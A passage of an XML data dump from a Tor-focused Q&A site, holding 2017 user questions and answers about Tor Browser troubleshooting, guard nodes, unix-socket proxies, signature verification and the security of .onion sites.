anderen Tor Browser Benutzern zu unterscheiden. Ich empfehle dir, falls möglich, weiterhin Englisch zu verwenden und nach einem Deutsch Button auf der Seite zu suchen falls es nötig ist.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-03-20T01:45:28.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14349" PostTypeId="2" ParentId="13727" CreationDate="2017-03-20T03:26:20.930" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;blockquote&gt;&#xA;      &lt;p&gt;Does Tor usually give issues when basic browsing? ie. not super user stuff, basic average internet user stuff.&lt;/p&gt;&#xA;    &lt;/blockquote&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In my experience, what people have trouble with are services offered by Google. I don't mind it myself, there are other search engines and I don't use any of their other services. Also, captchas can be annoying. Generally speaking, it really depends on what sites your using.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;blockquote&gt;&#xA;      &lt;p&gt;If he is not doing anything illegal why would he cares who sees what he is doing? Besides hiding from ads on Pandora, which doesn't work in Tor btw.&lt;/p&gt;&#xA;    &lt;/blockquote&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I can't speak for your friend. You might just want to ask him about it. I also use Tor Browser most of the time and I haven't ever used Tor Browser because I wanted to do anything illegal. So, I guess your friend and I might have similar reason for using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two main reason I use Tor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) I don't know what information I want to have hidden in the future. People that opposed Women's right to vote 40 years ago might not want this fact to be known publicly today. Times change, and so does what is accepted by society and governments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) I'm one of the lucky people that does not depend on Tor. However, there a people that do, activist and journalist for instance, and they need strong security. These people depend on others for one simple reason. If only people that have something to hide use Tor, they become very easily identifiable. Let's just say a politician attempts to overthrow one of the government leaders. He obviously can't do that alone, so he uses Tor to communicate with his associates. If no one else uses Tor or any other secure commutation, they can not communicate anonymously. This because the only ones whose communication can't be read, are the people you're looking for. Frankly, anyone depending on Tor's anonymity depends on people, like your friend, that ensure they can hide in the crowd.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;blockquote&gt;&#xA;      &lt;p&gt;I he wants to prevent his computer from learning what he is doing incognito works too... as far as I can tell.&lt;/p&gt;&#xA;    &lt;/blockquote&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can you elaborate on this a bit, I'm not exactly sure why you would want to hide something from a computer.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;blockquote&gt;&#xA;      &lt;p&gt;How sure is the entire Tor community that Tor is 100% anonymous, …&lt;/p&gt;&#xA;    &lt;/blockquote&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Tor is decentralized (not controlled by a single entity), able to provide security updates in a timely manner, has been well reviewed, … and so on. This is far more than most anonymization services/software can say. Nonetheless, it certainly is not 100% anonymous and &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#AmITotallyAnonymous&quot; rel=&quot;nofollow noreferrer&quot;&gt;the Tor Project is aware of this&lt;/a&gt;. However, if you don't use Tor, there is nothing protecting you. If you use Tor, you may be identified, but this is certainly harder and who ever wants to deanonymize you has to be willing to spend some effort (and money) on it.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;blockquote&gt;&#xA;      &lt;p&gt;… it was designed by the US Navy how do you know the NSA isn't looking at people on the list, maybe you are not on the list?&lt;/p&gt;&#xA;    &lt;/blockquote&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;The source code of the Tor Browser&lt;/a&gt; is publicly accessible and &lt;a href=&quot;https://blog.torproject.org/blog/tor-reproducible-builds-workshop-athens-2015&quot; rel=&quot;nofollow noreferrer&quot;&gt;you can verify that your browser matches the source code&lt;/a&gt;. Also, most people use Windows or Mac, I can't see how it is harder to get a backdoor in there. An OS is far more complex, involves more people and the source code in not publicly available. Not saying they have backdoors but why would you try to get a backdoor into Tor when there are easier targets. Also, what list are you referring to?&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-03-20T03:26:20.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14350" PostTypeId="2" ParentId="14312" CreationDate="2017-03-20T12:36:17.333" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/236-single-guard-node.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;Proposal 236&lt;/a&gt;, which has been implemented by now, explains the behavior:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When this proposal becomes effective, clients will switch to using&#xA;  a single guard node.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;That is, in its first startup, Tor picks one guard and stores its&#xA;  identity persistently to disk. Tor uses that guard node as the first&#xA;  hop of its circuits from thereafter.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If that Guard node ever becomes unusable, rather than replacing it,&#xA;  Tor picks a new guard and adds it to the end of the list. When&#xA;  choosing the first hop of a circuit, Tor tries all guard nodes from&#xA;  the top of the list sequentially till it finds a usable guard node.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Took a closer look at it and I noticed this option in the manpage:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;blockquote&gt;&#xA;      &lt;p&gt;UseEntryGuardsAsDirGuards 0|1&lt;/p&gt;&#xA;      &#xA;      &lt;p&gt;If this option is set to 1, and UseEntryGuards is also set to 1, we try to use our entry guards as directory guards, and failing that, pick more nodes to act as our directory guards. This helps prevent an adversary from enumerating clients. It’s only available for clients (non-relay, non-bridge) that aren’t configured to download any non-default directory material. It doesn’t currently do anything when we lack a live consensus. (Default: 1)&lt;/p&gt;&#xA;    &lt;/blockquote&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Take a look at src/or/entrynodes.c you'll find that &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/entrynodes.c?h=release-0.2.9#n1119&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;choose_random_entry_impl()&lt;/code&gt;&lt;/a&gt; is shared for entry and directory guards. It is responsible for adding entry guards (via &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/src/or/entrynodes.c?h=release-0.2.9#n397&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;add_an_entry_guard()&lt;/code&gt;&lt;/a&gt;). The default number of directory guards is &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/13908&quot; rel=&quot;nofollow noreferrer&quot;&gt;currently 3&lt;/a&gt;, I guess that this is why more EntryGuard entries appear in &lt;code&gt;state&lt;/code&gt; after a while. As far as I can tell, the additional nodes are only used for directory fetches as long as the current entry guard doesn't fail.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastEditorUserId="16657" LastEditDate="2017-03-26T00:13:46.053" LastActivityDate="2017-03-26T00:13:46.053" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14351" PostTypeId="2" ParentId="13995" CreationDate="2017-03-20T16:28:17.617" Score="2" Body="&lt;p&gt;This has been fixed for the next Tor Browser release. Please see the ticket below and test if possible:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/21555&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://trac.torproject.org/projects/tor/ticket/21555&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2017-03-20T16:28:17.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14352" PostTypeId="2" ParentId="1480" CreationDate="2017-03-20T16:38:04.360" Score="2" Body="&lt;p&gt;Exactly, as Jens and others mentioned above, Tails is not meant to be your primary OS for many reasons. There's another project aiming to provide exactly for your need, however it is still in beta and testing phase. Give &lt;a href=&quot;https://subgraph.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Subgraph OS&lt;/a&gt; a try. Their ISO is a bit old so you'd have to do an &lt;code&gt;apt-get update &amp;amp;&amp;amp; apt-get upgrade&lt;/code&gt; and install about 600 MB updates before you start using it. Just Remember to give them feedback :)&lt;/p&gt;&#xA;" OwnerUserId="107" LastActivityDate="2017-03-20T16:38:04.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14353" PostTypeId="1" CreationDate="2017-03-20T17:27:54.647" Score="1" ViewCount="77" Body="&lt;p&gt;I am using TorBrowser. However one of the websites I am connecting to seems to require that the exit IP address stay consistent across multiple requests. Is there a way to constrain torbrowser to use the same relay for a given domain(*.something.com). Part of the issue might be that the sub domains are changing between requests. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's also possible there is some other issue with torbrowser and cookies that is unrelated.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concretely what I observe is that the website works in a normal browser and I am able to login, but on torbrowser, I am sent back to the login screen. &lt;/p&gt;&#xA;" OwnerUserId="16757" LastActivityDate="2017-03-20T20:39:23.983" Title="Website uses IP address for auth and needs it to be the same for multiple requests" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ClosedDate="2017-03-21T10:32:53.983" ContentLicense="CC BY-SA 3.0" />
  <row Id="14354" PostTypeId="2" ParentId="14353" CreationDate="2017-03-20T20:39:23.983" Score="0" Body="&lt;p&gt;This is unlikely to be related to your IP address. The Tor Browser chooses one circuit per domain. This means that one.com and another.com are likely to have different exit IP addresses. However, those circuits are kept for some time, certainly longer than you need to login. The Tor Broswer's &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;nofollow noreferrer&quot;&gt;design document&lt;/a&gt; (section 4.5) has some more details about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my experience, logins fail mostly because:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;JavaScript is disabled but is required to log in. You can enable it via NoScript button (blue S) in the toolbar.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Login via Tor isn't allowed (exit node IPs are blocked). Many pages just show you something as simple as &quot;login failed&quot; with no details. There isn't anything you can do about it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You should be aware that if you login to an account via Tor that you have logged in via clearnet (without Tor) before, the information from the clearnet logins may be used to deanonymize you.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastActivityDate="2017-03-20T20:39:23.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14356" PostTypeId="1" CreationDate="2017-03-21T07:45:39.307" Score="2" ViewCount="103" Body="&lt;p&gt;I noticed when trying the nightly hardened that the TBB now doesn't spawn an TCP socks proxy but rather use a unix domain sockets is that to be the expected behavior for the future of TBB hardened ? (i used to socksify other app trough tor using the default socket (localhost:9150) that was spawn with TBB standard)&lt;/p&gt;&#xA;" OwnerUserId="16763" LastEditorUserId="12737" LastEditDate="2017-03-21T17:09:06.117" LastActivityDate="2017-03-21T17:09:06.117" Title="tbb-nightly-hardened provides no TCP socks proxy, only unix domain socket. is that normal?" Tags="|tor-browser-bundle|configuration|socks|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14357" PostTypeId="1" CreationDate="2017-03-21T10:03:25.277" Score="1" ViewCount="57" Body="&lt;p&gt;I tried using Tor Browser to comment on blogs (blogspot). The blog I am interested in requires a Gmail login. So I tried to enter through Gmail, but when I tried to comment on the blog, I am unable to find my Gmail login. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to use Tor to comment on blogs without letting know my location?&lt;/p&gt;&#xA;" OwnerUserId="16766" LastEditorUserId="16766" LastEditDate="2017-03-21T10:12:55.950" LastActivityDate="2017-03-21T10:12:55.950" Title="Commenting on blogs" Tags="|anonymity|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14359" PostTypeId="2" ParentId="14356" CreationDate="2017-03-21T12:31:51.023" Score="1" Body="&lt;p&gt;The feature has been introduced to make it possible to block all IP networking, thereby, making it harder to bypass Tor. Tickets &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/12585&quot; rel=&quot;nofollow noreferrer&quot;&gt;12585&lt;/a&gt; and &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/14270&quot; rel=&quot;nofollow noreferrer&quot;&gt;14270&lt;/a&gt; have some more information on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, yes, this is the expected future behavior of Tor Browser hardened. I wouldn't be surprised when the regular Tor Browser switched to unix sockets at some point too.&lt;/p&gt;&#xA;" OwnerUserId="16657" LastEditorUserId="16657" LastEditDate="2017-03-21T16:20:02.893" LastActivityDate="2017-03-21T16:20:02.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14360" PostTypeId="1" CreationDate="2017-03-21T16:37:30.987" Score="2" ViewCount="1590" Body="&lt;p&gt;I'm trying to setup non-exit Tor Relay on ubuntu Server 16.04.1,but I'm getting the following warning: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Mar 21 11:37:28.000 [warn] Received http status code 404 (Not found) from x.x.x.x while fetching tor/keys/fp/58......88C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16769" LastEditorUserId="88" LastEditDate="2017-03-21T21:36:42.660" LastActivityDate="2017-03-21T21:36:42.660" Title="http status code 404 (Not found)" Tags="|relays|error|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14361" PostTypeId="2" ParentId="14360" CreationDate="2017-03-21T17:31:48.263" Score="2" Body="&lt;p&gt;It's trying to lookup a relay that &lt;em&gt;seems&lt;/em&gt; to no longer exist, specifically whatever relay corresponds to the &lt;code&gt;58......88C&lt;/code&gt; fingerprint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible that it does still exist, it just wasn't found on the directory provided by &lt;code&gt;x.x.x.x&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This error is just a warning, it's not a fatal error and Tor will continue to function normally if it's the only error you've received.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-03-21T17:31:48.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14362" PostTypeId="2" ParentId="14335" CreationDate="2017-03-21T19:24:01.313" Score="1" Body="&lt;p&gt;First it is important to know what you consider private/sensitive information. &lt;a href=&quot;https://tor.stackexchange.com/users/12737/canonizing-ironize&quot;&gt;@canonizing ironize&lt;/a&gt; wrote some good hints in their comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default Tor sets &lt;code&gt;SafeLogging&lt;/code&gt; which means that IP addresses and other information which Tor considers sensitive is redacted. Furthermore you should check the logging information &lt;em&gt;before&lt;/em&gt; posting it somewhere if it contains more sensitive information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to protect information from future use is to use a paste site which automatically deletes the content after some time. However this doesn't prevent anyone from copying this information and making it public at some other place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is a bug in Tor, you can make an entry in the &lt;a href=&quot;https://trac.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;bug tracker&lt;/a&gt; and leave an information there that you can provide more, but sensitive information. This way a developer could contact you and you could send the information in private to this person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore you can use one of the &lt;a href=&quot;https://www.torproject.org/about/contact.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;contact methods&lt;/a&gt; to contact the project privately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I would suggest to redact the log as a first step and use publicly available channels.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2017-03-21T19:24:01.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14364" PostTypeId="1" CreationDate="2017-03-21T21:29:30.173" Score="1" ViewCount="5615" Body="&lt;p&gt;Please advise on how I can get rid of running TOR on Firefox. Whenever I type in a URL I get &quot;Proxy Server Refusing Connection&quot;&lt;/p&gt;&#xA;" OwnerUserId="16776" LastActivityDate="2017-04-22T13:44:56.033" Title="TOR Browser locked in Firefox, keep getting proxy server rufusing connection" Tags="|configuration|firefox|proxy|server|" AnswerCount="1" CommentCount="3" ClosedDate="2017-04-22T17:15:25.110" ContentLicense="CC BY-SA 3.0" />
  <row Id="14365" PostTypeId="1" CreationDate="2017-03-21T22:21:45.197" Score="2" ViewCount="654" Body="&lt;p&gt;Did anybody manage to do this?&#xA;I've tried every tunneling software I could find that tunnels over http. No luck, various errors, even with different tor2web hosts.&#xA;I was looking into using the tor2web proxy as a way to port forward to my different boxes.&lt;/p&gt;&#xA;" OwnerUserId="15988" LastActivityDate="2017-03-22T01:52:42.950" Title="Tunnel TCP over Tor2Web" Tags="|proxy|tunnel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14367" PostTypeId="1" CreationDate="2017-03-21T23:50:37.553" Score="2" ViewCount="1907" Body="&lt;p&gt;I'm totally new to Tor, Yeah I know, the newbie. So I'm running a Mac. with Ivacy VPN. Also running Tor 6.5.1. Getting the &quot;Unable to find Proxy Servers&quot;. Didn't do any modifications just started happening, any ideas would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="16780" LastActivityDate="2017-10-26T18:29:22.097" Title="Unable to find Proxy Servers" Tags="|proxy|vpn|mac|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14369" PostTypeId="2" ParentId="14365" CreationDate="2017-03-22T01:52:42.950" Score="2" Body="&lt;p&gt;tor2web is an HTTP proxy, it takes in requests for &quot;foo.tld&quot; and makes a corresponding request to &quot;foo.onion&quot; over Tor and provides back the response. It's important to note that it makes a corresponding request, it doesn't just take in an arbitrary TCP stream and forward it on for you, it's looking for a well formed HTTP request to make on your behalf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such the only way to transfer some arbitrary data stream over HTTP is to implement some transport method &lt;em&gt;on top of&lt;/em&gt; HTTP which both you and the remote party understand to encapsulate stream data inside of some series of HTTP requests and responses between you and the service behind tor2web.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-03-22T01:52:42.950" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14370" PostTypeId="1" CreationDate="2017-03-22T04:57:21.913" Score="2" ViewCount="600" Body="&lt;p&gt;I have downloaded Tor installer and .asc file, and when attempting to &lt;a href=&quot;https://www.torproject.org/docs/verifying-signatures.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;verify with Linux&lt;/a&gt; I run the command &lt;code&gt;gpg --verify tor-browser-linux32-6.5.1_en-US.tar.xz.asc tor-browser-linux32-6.5.1_en-US.tar.xz&lt;/code&gt; after getting the fingerprint verified with no issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, instead of signature verification, I get output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xxx@xxx ~ $ gpg --verify tor-browser-linux64-6.5.1_en-US.tar.xz.asc&#xA;gpg: can't open `tor-browser-linux64-6.5.1_en-US.tar.xz.asc'&#xA;gpg: verify signatures failed: file open error&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've updated the command/file names for the 64 bit version I downloaded, I've got both files in the default downloads folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone shine some light here?  Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="16783" LastEditorUserId="88" LastEditDate="2017-03-22T16:21:21.303" LastActivityDate="2017-03-22T16:21:21.303" Title="Tor installer download signature verification failure" Tags="|verification|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14371" PostTypeId="2" ParentId="14364" CreationDate="2017-03-22T10:12:52.607" Score="0" Body="&lt;p&gt;If you are using Firefox via a Tor socks proxy, make sure that you have specified the correct ports in your configuration of Firefox and make sure that they all point to &quot;localhost&quot; at either port 9050 or 9150 as I believe they are the default ports used. Another reason may be badly configured torrc file, please have a look at that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using Tor Browser by itself, the fastest way of solving this problem is simply downloading and reinstalling. It should solve the issue. &lt;/p&gt;&#xA;" OwnerUserId="14292" LastEditorUserId="14292" LastEditDate="2017-03-23T13:04:23.847" LastActivityDate="2017-03-23T13:04:23.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14372" PostTypeId="1" CreationDate="2017-03-22T10:18:57.647" Score="2" ViewCount="908" Body="&lt;p&gt;I am new in tor so if someone could explain me what to do to fix my problem I would appreciate it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;22/3/17 9:47:36 a. m..600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;22/3/17 9:47:36 a. m..600 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;22/3/17 9:47:38 a. m..500 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;22/3/17 9:47:38 a. m..500 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;22/3/17 9:47:38 a. m..500 [WARN] Proxy Client: unable to connect to 85.17.30.79:443 (&quot;general SOCKS server failure&quot;) &#xA;22/3/17 9:47:38 a. m..500 [WARN] Proxy Client: unable to connect to 154.35.22.10:15937 (&quot;general SOCKS server failure&quot;) &#xA;22/3/17 9:47:38 a. m..500 [WARN] Proxy Client: unable to connect to 109.105.109.147:13764 (&quot;general SOCKS server failure&quot;) &#xA;22/3/17 9:47:38 a. m..500 [WARN] Proxy Client: unable to connect to 154.35.22.11:443 (&quot;general SOCKS server failure&quot;) &#xA;22/3/17 9:47:38 a. m..500 [WARN] Proxy Client: unable to connect to 83.212.101.3:50002 (&quot;general SOCKS server failure&quot;) &#xA;22/3/17 9:47:38 a. m..500 [WARN] Proxy Client: unable to connect to 198.245.60.50:443 (&quot;general SOCKS server failure&quot;) &#xA;22/3/17 9:47:38 a. m..500 [WARN] Proxy Client: unable to connect to 192.99.11.54:443 (&quot;general SOCKS server failure&quot;) &#xA;22/3/17 9:47:38 a. m..500 [WARN] Proxy Client: unable to connect to 154.35.22.13:443 (&quot;general SOCKS server failure&quot;) &#xA;22/3/17 9:47:38 a. m..500 [WARN] Proxy Client: unable to connect to 192.95.36.142:443 (&quot;general SOCKS server failure&quot;) &#xA;22/3/17 9:47:38 a. m..500 [WARN] Proxy Client: unable to connect to 109.105.109.165:10527 (&quot;general SOCKS server failure&quot;) &#xA;22/3/17 9:47:38 a. m..500 [WARN] Proxy Client: unable to connect to 154.35.22.9:443 (&quot;general SOCKS server failure&quot;) &#xA;22/3/17 9:47:38 a. m..500 [WARN] Proxy Client: unable to connect to 154.35.22.12:80 (&quot;general SOCKS server failure&quot;) &#xA;22/3/17 9:47:43 a. m..400 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;22/3/17 9:47:43 a. m..400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;22/3/17 9:47:43 a. m..400 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16785" LastEditorUserId="16657" LastEditDate="2017-03-22T17:09:46.000" LastActivityDate="2017-03-22T17:09:46.000" Title="My Tor Browser doesnt work anymore please HELP" Tags="|proxy|mac|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14374" PostTypeId="1" CreationDate="2017-03-22T15:20:46.527" Score="1" ViewCount="341" Body="&lt;p&gt;Apologies to all, I'm a complete novice.. From what i have read and my understanding is that one must see the https\ before the name of the website to know it was  totally &quot;safe&quot; or.... &quot;secure&quot; would perhaps be a better word.. in other words there was little ( or perhaps , fractions of a chance) of outside aliens intercepting typed communications. however i have used the old trusted technique of &quot;copy and Paste&quot; with the https\ with  sites such as dream market and every time i penetrate this into tor, it seems to disregard this and it ejaculates without the prefix of the thus said. Resulting in &quot;unsecured connection &quot; relayed via the browser (I) button. so, please advice as to a) the reason for this and B) are these site really secure ?..and maybe my system has been perhaps penetrated without me knowing....hears to wondering.Please advice ..learned ones. Most great full&lt;/p&gt;&#xA;" OwnerUserId="16787" LastActivityDate="2017-03-22T17:17:13.750" Title="cant see the https\\ when trying to open tor market places such as dream market?" Tags="|configuration|anonymity|security|https|consensus|" AnswerCount="1" CommentCount="0" ClosedDate="2017-03-22T16:25:12.077" ContentLicense="CC BY-SA 3.0" />
  <row Id="14375" PostTypeId="2" ParentId="14374" CreationDate="2017-03-22T15:56:03.483" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;blockquote&gt;&#xA;      &lt;p&gt;the reason for this&lt;/p&gt;&#xA;    &lt;/blockquote&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The .onion addresses themselves are the hash of the &lt;a href=&quot;https://en.wikipedia.org/wiki/Public_key&quot; rel=&quot;nofollow noreferrer&quot;&gt;public key&lt;/a&gt; of the site. This means that the information to connect securely are part of the host name. The browser does not show the HTTPS because it is not involved in securing the connection. Security is instead provided by Tor, it ensures that the connection is properly secured. In short, connection to .onion addresses are secure even without HTTPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is worth noting that there are .onion sites that use HTTPS for additional security, &lt;a href=&quot;https://3g2upl4pq6kufc4m.onion&quot; rel=&quot;nofollow noreferrer&quot;&gt;DuckDockGo&lt;/a&gt; for example. However, this is not suitable for web sites provided anonymously. You need to &lt;a href=&quot;https://blog.digicert.com/ordering-a-onion-certificate-from-digicert/&quot; rel=&quot;nofollow noreferrer&quot;&gt;verify your identity&lt;/a&gt; to get a certificate.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;blockquote&gt;&#xA;      &lt;p&gt;are these site really secure&lt;/p&gt;&#xA;    &lt;/blockquote&gt;&#xA;  &lt;/blockquote&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The connections to the sites are secure but neither .onion nor HTTPS provides any guarantees that the sites themselves are secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using .onion and HTTPS you should be aware that …&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) … the provider of a site may share data you enter with anyone they like. They may not know the source of the connection (in case of .onion) but with help of data you provide it may be possible to deanonymize you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Data like this can be very unique:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;e-mail&lt;/li&gt;&#xA;&lt;li&gt;address&lt;/li&gt;&#xA;&lt;li&gt;phone number&lt;/li&gt;&#xA;&lt;li&gt;credit card details&lt;/li&gt;&#xA;&lt;li&gt;using a login you have used without Tor (they may have recorded your IP)&lt;/li&gt;&#xA;&lt;li&gt;posting links that contain a user or session ID&lt;/li&gt;&#xA;&lt;li&gt;or using … (one character) instead of ... (three dots), like I do (may guess is that less than 0.01% of the people have that on the keyboard and actually use it, pretty unique)&lt;/li&gt;&#xA;&lt;li&gt;… and much, much more&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;b) … if you provide sensitive data, you have no guarantees that this information is stored securely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c) … neither .onion nor HTTPS provide any guarantees that the content of the site is true. So, just because the site says &quot;this is the official Tor Project website&quot; or &quot;we won't share any personal data&quot; doesn't mean this is true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;d) … you do not know who controls/operates the site. (This is particularly true for .onion but can also apply to HTTPS.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e) … you do not know how the infrastructure is secured. (Many sites even neglect to do something as simple as regularly installing security updates.)&lt;/p&gt;&#xA;" OwnerUserId="16657" LastEditorUserId="16657" LastEditDate="2017-03-22T17:17:13.750" LastActivityDate="2017-03-22T17:17:13.750" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
